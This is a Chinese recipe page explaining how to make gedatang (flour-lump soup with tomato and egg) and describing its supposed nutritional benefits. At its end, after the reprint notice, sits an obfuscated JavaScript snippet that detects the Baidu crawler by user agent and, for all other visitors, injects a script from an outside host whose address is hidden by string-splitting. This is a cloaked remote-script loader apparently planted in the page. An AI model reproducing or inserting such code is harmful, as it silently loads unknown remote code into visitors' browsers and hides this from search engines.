當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

疙瘩湯的做法-疙瘩湯的功效

2015-04-24 00:07:42  來源:360常識網(wǎng)   熱度:
導(dǎo)語:現(xiàn)代人們做疙瘩湯,都喜歡加入雞蛋、肉類等各種食材,富含蛋白質(zhì)等各種營養(yǎng),而西紅柿等蔬菜又含有各種的維生素、纖維素和礦物質(zhì),對人體有

現(xiàn)代人們做疙瘩湯,都喜歡加入雞蛋、肉類等各種食材,富含蛋白質(zhì)等各種營養(yǎng),而西紅柿等蔬菜又含有各種的維生素、纖維素和礦物質(zhì),對人體有很大的補(bǔ)充。

疙瘩湯的做法-疙瘩湯的功效
疙瘩湯的做法-疙瘩湯的功效

疙瘩湯的做法

一、疙瘩湯的介紹:

疙瘩湯是一種比較特別的湯,因?yàn)樗恿嗣娣?,湯看起來糊糊的,像是一塊一塊的,口感跟我們平常喝的湯很不同,所以才有這個名字。下面就為大家介紹一下這個湯的做法。

二、疙瘩湯的制作材料:

包括西紅柿兩個,雞蛋兩個,大蒜、小蔥各一根,面粉一小碗。

三、疙瘩湯的制作步驟:

1、先把各種材料準(zhǔn)備好。

2、把西紅柿洗凈切成塊,大蒜、小蔥切碎備用。

3、炒鍋里倒進(jìn)去兩勺花生油,油熱后下蒜米爆香。

4、把西紅柿倒進(jìn)去翻炒出湯汁。

5、炒到西紅柿沒有塊狀后,加入三碗水。

6、面粉放在一個大容器里,慢慢的一點(diǎn)點(diǎn)加水,邊加水便用筷子快速攪拌,成小絮狀。

7、鍋里水沸騰后,火關(guān)小一點(diǎn),保持沸騰就可以,把攪拌好的面絮倒進(jìn)去。

8、加進(jìn)去一勺鹽。

9、倒入兩勺生抽。

10、雞蛋尖頭磕開一個小口,讓鍋在沸騰狀態(tài)下,慢慢把蛋液流進(jìn)去,(和倒面絮一樣也是一邊倒蛋液一邊慢慢攪拌,雞蛋才會在鍋里成絮狀凝固。不攪拌的話會成一大塊)。

11、稍微煮兩分鐘后,把小蔥碎倒進(jìn)去(香菜葉也可以的,也很提鮮)。

12、最后淋入兩滴香油就可以關(guān)火了。就這樣,一道美味可口的疙瘩湯就做出來了,你也來試試吧。

疙瘩湯的功效

現(xiàn)代人們做疙瘩湯,都喜歡加入雞蛋、肉類等各種食材,富含蛋白質(zhì)等各種營養(yǎng),而西紅柿等蔬菜又含有各種的維生素、纖維素和礦物質(zhì),對人體有很大的補(bǔ)充。作為疙瘩湯的一大特色配料,面粉中含有大量的維生素B族,平時(shí)我們煮面條和煮餃子時(shí),會導(dǎo)致很多的養(yǎng)分會流失到面湯中,而疙瘩湯正好彌補(bǔ)了這個缺陷,它的特殊環(huán)境可以很好的保存面粉中的各種營養(yǎng),更有利于人體的吸收。所以說,疙瘩湯對人體是大有裨益的,大家有空可以煮來喝。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}